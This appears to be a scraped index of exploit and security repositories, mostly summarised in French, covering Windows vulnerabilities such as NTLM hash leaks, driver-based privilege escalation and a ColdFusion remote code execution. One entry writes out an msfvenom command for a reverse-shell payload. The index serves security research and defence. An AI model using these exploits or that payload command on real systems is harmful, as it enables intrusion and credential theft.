CVE-2025-24071

CVE-2025-24071 - Fuite de hachage NTLM dans Windows File Explorer 📋 Aperçu CVE-2025-24071 est une vulnérabilité dans Windows File Explorer qui permet la divulgation non autorisée de hachages NTLM. Lorsqu'un utilisateur extrait une archive .zip spécialement conçue contenant un fichier .library-ms...

CVE-2024-0670

CVE-2024-0670 PoC Ce dépôt fournit un exploit de Preuve de concept PoC pour la vulnérabilité CVE-2024-0670 , affectant l'agent CheckMK sur les systèmes Windows. La vulnérabilité se produit lorsque l'agent CheckMK crée et exécute des fichiers temporaires dans le répertoire C:\Windows\Temp. Un...

CVE-2025-30397---Windows-Server-2025-JScript-RCE-Use-After-Free-

CVE-2025-30397---Windows-Server-2025-JScript-RCE-Использование-после-освобождения Удаленное выполнение кода через использование после освобождения в JScript.dll CVE-2025-30397 🧠 Описание Этот репозиторий содержит эксплойт доказательства концепции PoC для уязвимости типа использования после...

CVE-2025-24076

CVE-2025-24076 Эксплойт уязвимости повышения привилегий службы Microsoft Windows Cross Device Service Обзор Этот скрипт эксплуатирует уязвимость в Windows Cross Device Service , которая позволяет повышать привилегии в системах Windows 11 , Windows Server 2025 и Windows Server 2022 23H2 установка...

CVE-2025-24071

CVE-2025-24071 CNA : Microsoft Corporation Publié : 2025-03-11 Mis à jour : 2025-03-13 Titre : Vulnérabilité d'usurpation dans l'Explorateur de fichiers Microsoft Windows Description L'exposition d'informations sensibles à un acteur non autorisé dans l'Explorateur de fichiers Windows permet à un...

PrintNightmare

Vulnérabilité critique PrintNightmare CVE-2021-1675, CVE-2021-34527 Aucune solution de Microsoft pour le moment au 02.07.2021 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527 Concerne toutes les versions du système d'exploitation serveurs et clients Possibilités Désactiver...

windows-malware-behavioral-analysis

Analyse comportementale de malwares à l'aide de REMnux & FLARE-VM Une enquête pratique de malware pour Blue Team démontrant comment des exécutables Windows suspects peuvent être analysés en toute sécurité dans un laboratoire isolé à l'aide de techniques d'analyse comportementale. Plutôt que de...

Juicy-Potato-x86

Juicy-Potato-x86 Juicy Potato pour Windows x86 Ceci est une version de l'exploit d'élévation de privilèges Juicy Potato d'ohpe modifié pour Windows x86. J'ai conservé autant de code que possible, tout en apportant les petites modifications nécessaires pour compiler sous Windows x86. Testé avec...

CVE-2021-27965

CVE-2021-27965 PoC simple pour exploiter CVE-2021-27965 pour une élévation de privilèges locaux LPE en lançant cmd système. https://vulners.com/cve/CVE-2021-27965 Un problème a été découvert dans le pilote Windows signé MICSYS MsIo64.sys qui peut conduire à la compromission de l'ensemble du systè...

bw-dump

BW-Dump Обновление 2 : Этой уязвимости присвоен идентификатор CVE-2023-38840. Обновление : Патч был выпущен в виде запроса на включение изменений на GitHub 5813, который исправляет уязвимость. Затронутые версии: Bitwarden Desktop 2023.7.0 и ниже. Описание Инструмент концептуального доказательства...

CVE-2024-4577

CVE-2024-4577: PHP の CGI 設定における重大な脆弱性 PHP の CGI モードには深刻なセキュリティ上の欠陥が存在し、攻撃者が URL パラメータを操作することで任意のコマンドを実行できるようになります。 影響を受けるバージョン Windows 上で php-cgi を実行している PHP 7.4.29 未満および 8.0.19 未満のバージョン。 攻撃手法 攻撃者は、特別に細工したリクエストを PHP CGI...

Foxit-Reader-RCE-with-virualalloc-and-shellcode-for-CVE-2018-9948-and-CVE-2018-9958

Exploit personnalisé : Foxit Reader version 9.0.1.1049 Use After Free avec contournement d'ASLR et de DEP sur le tas Mon Exploit personnalisé : Foxit-Reader-RCE-with-virualalloc-and-shellcode-for-CVE-2018-9948-and-CVE-2018-9958 Exploit personnalisé pour Win 7 Dispose d'un espace pour le shellcode...

-Win10-x64-CloudMe-Sync-1.10.9-Buffer-Overflow-SEH-DEP-Bypass

-Win10-x64-CloudMe-Sync-1.10.9-Buffer-Overflow-SEH-DEP-Bypass Ma version - Win10 x64 CloudMe-Sync-1.10.9-Buffer-Overflow-SEH-DEP-Bypass...

allthingsida

Операционная система MS Windows Скрипты перечисления PEB/LDRDATATABLEENTRY Структуры PEB/TEB x64 Структуры PEB/TEB x86...

CVE-2023-23397-POC

Deux POC que j'ai créés pour la vulnérabilité NTLM CVE-2023-23397. À l'origine, les POC envoyaient des invitations à des réunions avec un rappel, mais j'ai réussi à envoyer un e-mail avec un rappel ne nécessitant aucune interaction de l'utilisateur. Le fichier .ps1 doit être exécuté depuis un hôt...

CVE-2023-26360-RCE

CVE-2023-26360 - Exécution de code à distance sur ColdFusion 2021 Parfois, les scripts ne fonctionnent pas du premier coup. Essayez plusieurs fois pour que cela fonctionne Comment exécuter Créer un payload avec msfvenom root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444...

CVE-2024-0670

CVE-2024-0670 – Élévation de privilèges locale dans l'agent CheckMK PoC PowerShell Résumé Ce dépôt présente une preuve de concept PowerShell indépendante pour CVE-2024-0670 , une vulnérabilité d'élévation de privilèges locale Windows dans l'agent CheckMK. Cette vulnérabilité permet à un utilisate...

CVE-2021-21551

PoC pour CVE-2021-21551 Élévation de privilèges locale LPE Windows utilisant le pilote Dell dbutil23.sys. Approche d'exploitation Implémenter la lecture/écriture, allouer du shellcode, retourner la page pour contourner SMEP, écraser le pointeur haldispatch, exécuter le shellcode...

CVE-2024-21412_Water-Hydra

CVE-2024-21412Water-Hydra Distribution de logiciels malveillants via CVE-2024-21412 Utilisation Démarrez successivement les services, puis accédez au serveur web. webserver Démarrez un serveur web dans le dossier : python -m http.server Initial Access : utilise la syntaxe de requête avancée Windo...

evtx-baseline

evtx-baseline Un dépôt hébergeant des journaux evtx de bonnes pratiques goodware contenant des exemples d'installation de logiciels et d'interactions utilisateur de base Dons win10-client.tgz par @phantinuss win11-client.tgz par @frack113 win7-x86.tgz par @pH-T win2022-evtx.tgz par @Neo23x0...